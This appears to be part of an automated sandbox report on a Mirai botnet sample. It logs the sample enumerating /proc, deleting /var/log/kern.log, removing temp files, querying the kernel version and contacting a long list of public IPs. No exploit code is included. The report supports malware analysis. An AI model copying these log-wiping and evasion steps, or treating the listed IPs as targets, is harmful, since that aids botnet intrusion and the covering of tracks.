Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/24/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/25/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/26/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/27/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/28/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/29/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/491/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/250/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/130/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/251/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/252/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/132/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/253/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/254/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/255/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/256/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/257/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/379/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/258/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/259/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/936/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/30/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/35/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/260/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/261/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/141/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/262/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/263/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/264/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/144/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/265/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/266/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/267/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/269/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/270/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/272/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/274/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/278/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/157/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/281/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/286/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/720/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/721/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/847/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/77/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/78/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/79/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/80/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/81/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/82/fd Jump to behavior
Source: /tmp/la.bot.m68k.elf (PID: 6265) File opened: /proc/83/fd Jump to behavior
Executes the "rm" command used to delete files or directories
Source: /usr/bin/dash (PID: 6319) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.n6LgbTxjya /tmp/tmp.6XnFwrMLir /tmp/tmp.c1z0QrGuGe Jump to behavior
Source: /usr/bin/dash (PID: 6320) Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.n6LgbTxjya /tmp/tmp.6XnFwrMLir /tmp/tmp.c1z0QrGuGe Jump to behavior

Hooking and other Techniques for Hiding and Protection
barindex
Deletes system log files
Source: /tmp/la.bot.m68k.elf (PID: 6266) Log files deleted: /var/log/kern.log Jump to behavior
Uses the "uname" system call to query kernel version information (possible evasion)
Source: /tmp/la.bot.m68k.elf (PID: 6263) Queries kernel information via 'uname': Jump to behavior
Source: la.bot.m68k.elf, 6263.1.00007ffe43534000.00007ffe43555000.rw-.sdmp Binary or memory string: /usr/bin/qemu-m68k
Source: la.bot.m68k.elf, 6263.1.0000564439021000.00005644390a6000.rw-.sdmp Binary or memory string: 9DV!/etc/qemu-binfmt/m68k
Source: la.bot.m68k.elf, 6263.1.00007ffe43534000.00007ffe43555000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-m68k/tmp/la.bot.m68k.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.m68k.elf
Source: la.bot.m68k.elf, 6263.1.0000564439021000.00005644390a6000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/m68k

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: la.bot.m68k.elf, type: SAMPLE
Source: Yara match File source: 6263.1.00007f5548001000.00007f5548018000.r-x.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: la.bot.m68k.elf, type: SAMPLE
Source: Yara match File source: 6263.1.00007f5548001000.00007f5548018000.r-x.sdmp, type: MEMORY
windows-stand
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
222.139.186.153
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
27.213.48.123
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
82.43.150.116
 unknown United Kingdom
5089 NTLGB false
126.172.153.220
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
56.90.34.89
 unknown United States
2686 ATGS-MMD-ASUS false
87.154.32.99
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
82.152.28.44
 unknown United Kingdom
12513 ECLIPSEGB false
3.16.232.189
 unknown United States
16509 AMAZON-02US false
68.51.15.126
 unknown United States
7922 COMCAST-7922US false
46.115.225.249
 unknown Germany
6805 TDDE-ASN1DE false
166.241.154.165
 unknown United States
22394 CELLCOUS false
154.171.203.207
 unknown Ghana
30986 SCANCOMGH false
51.109.25.68
 unknown United Kingdom
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
85.251.33.81
 unknown Spain
6739 ONO-ASCableuropa-ONOES false
44.168.122.158
 unknown United States
20473 AS-CHOOPAUS false
53.152.173.223
 unknown Germany
31399 DAIMLER-ASITIGNGlobalNetworkDE false
96.124.28.197
 unknown United States
7922 COMCAST-7922US false
134.109.173.52
 unknown Germany
680 DFNVereinzurFoerderungeinesDeutschenForschungsnetzese false
188.84.175.177
 unknown Spain
12430 VODAFONE_ESES false
34.60.153.33
 unknown United States
2686 ATGS-MMD-ASUS false
181.112.141.138
 unknown Ecuador
28006 CORPORACIONNACIONALDETELECOMUNICACIONES-CNTEPEC false
43.243.51.239
 unknown Hong Kong
58451 EASYHOST-HKEASYHOSTSOLUTIONLIMITEDHK false
156.98.111.36
 unknown United States
1998 STATE-OF-MNUS false
1.162.23.190
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
187.254.117.82
 unknown Mexico
16960 CablevisionRedSAdeCVMX false
149.199.228.147
 unknown United States
32537 XILINXUS false
206.157.228.139
 unknown United States
3561 CENTURYLINK-LEGACY-SAVVISUS false
4.209.22.140
 unknown United States
3356 LEVEL3US false
117.68.12.84
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
73.242.79.91
 unknown United States
7922 COMCAST-7922US false
58.117.122.212
 unknown China
4847 CNIX-APChinaNetworksInter-ExchangeCN false
128.79.5.213
 unknown France
5410 BOUYGTEL-ISPFR false
152.239.32.199
 unknown Brazil
7738 TelemarNorteLesteSABR false
211.27.3.35
 unknown Australia
9443 VOCUS-RETAIL-AUVocusRetailAU false
14.1.76.177
 unknown New Zealand
18199 LINKTELECOM-NZ-APLinkTelecomNZLimitedNZ false
46.19.59.173
 unknown Germany
47777 WUNETDE false
104.51.206.161
 unknown United States
7018 ATT-INTERNET4US false
31.223.75.172
 unknown Turkey
12735 ASTURKNETTR false
200.133.48.200
 unknown Brazil
1916 AssociacaoRedeNacionaldeEnsinoePesquisaBR false
103.74.155.121
 unknown China
135753 VNET-AIRMAX-ASAirmaxInternetPrivateLimitedIN false
113.111.205.11
 unknown China
4816 CHINANET-IDC-GDChinaTelecomGroupCN false
66.190.144.227
 unknown United States
20115 CHARTER-20115US false
19.197.59.193
 unknown United States
3 MIT-GATEWAYSUS false
25.104.155.5
 unknown United Kingdom
7922 COMCAST-7922US false
108.76.63.41
 unknown United States
7018 ATT-INTERNET4US false
35.164.85.159
 unknown United States
16509 AMAZON-02US false
66.192.172.28
 unknown United States
26850 ENPROINDUSTRIESUS false
75.29.133.122
 unknown United States
7018 ATT-INTERNET4US false
86.173.237.82
 unknown United Kingdom
2856 BT-UK-ASBTnetUKRegionalnetworkGB false
119.239.141.238
 unknown Japan 2518 BIGLOBEBIGLOBEIncJP false
114.237.76.23
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
190.48.172.74
 unknown Argentina
22927 TelefonicadeArgentinaAR false
167.59.198.17
 unknown Uruguay
6057 AdministracionNacionaldeTelecomunicacionesUY false
66.205.48.76
 unknown United States
22351 INTELSAT-1US false
183.226.71.150
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
21.63.221.45
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
114.28.11.118
 unknown China
3462 HINETDataCommunicationBusinessGroupTW false
147.25.222.217
 unknown United States
10796 TWC-10796-MIDWESTUS false
164.127.51.30
 unknown Poland
39603 P4NETP4UMTSoperatorinPolandPL false
33.219.170.29
 unknown United States
2686 ATGS-MMD-ASUS false
73.191.255.20
 unknown United States
7922 COMCAST-7922US false
210.212.150.124
 unknown India
9829 BSNL-NIBNationalInternetBackboneIN false
38.152.70.6
 unknown United States
174 COGENT-174US false
68.116.181.238
 unknown United States
20115 CHARTER-20115US false
167.248.45.66
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
169.116.183.45
 unknown United States
37611 AfrihostZA false
138.90.192.101
 unknown United States
701 UUNETUS false
68.219.161.216
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
175.155.99.61
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
58.37.209.144
 unknown China
4812 CHINANET-SH-APChinaTelecomGroupCN false
168.112.65.133
 unknown United States
36026 AS-CHI-CORPUS false
183.88.205.205
 unknown Thailand
45758 TRIPLETNET-AS-APTripleTInternetTripleTBroadbandTH false
218.64.189.67
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
126.100.148.251
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
175.160.244.102
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
8.12.124.65
 unknown United States
6102 CBSCORPORATEUS false
118.51.62.98
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
60.124.193.23
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
75.98.207.17
 unknown Canada
7257 PREMIERE-GLOBAL-SERVICES-INCUS false
145.3.180.250
 unknown Netherlands
1103 SURFNET-NLSURFnetTheNetherlandsNL false
208.62.233.89
 unknown United States
6389 BELLSOUTH-NET-BLKUS false
144.131.173.62
 unknown Australia
1221 ASN-TELSTRATelstraCorporationLtdAU false
162.48.192.235
 unknown United States
35893 ACPCA false
147.154.139.188
 unknown United States
31898 ORACLE-BMC-31898US false
115.41.83.125
 unknown Korea Republic of
10066 GAYANET-AS-KRLGHelloVisionCorpKR false
169.88.234.89
 unknown United States
37611 AfrihostZA false
123.95.92.231
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
125.214.167.118
 unknown Sri Lanka
18001 DIALOG-ASDialogAxiataPLCLK false
167.248.223.244
 unknown United States
209 CENTURYLINK-US-LEGACY-QWESTUS false
196.144.27.97
 unknown Egypt
36935 Vodafone-EG false
128.12.177.151
 unknown United States
32 STANFORDUS false
220.241.31.128
 unknown Hong Kong
4515 ERX-STARHKTLimitedHK false
137.62.200.53
 unknown Switzerland
1103 SURFNET-NLSURFnetTheNetherlandsNL false
182.82.80.80
 unknown China
23771 SXBCTV-APSXBCTVInternetServiceProviderCN false
70.222.117.108
 unknown United States
22394 CELLCOUS false
204.228.201.165
 unknown United States
14230 INVOLTAUS false
72.223.228.187
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
20.192.229.76
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
166.157.52.53
 unknown United States
22394 CELLCOUS false
59.60.138.133
 unknown China
4809 CHINATELECOM-CORE-WAN-CN2ChinaTelecomNextGenerationCarr false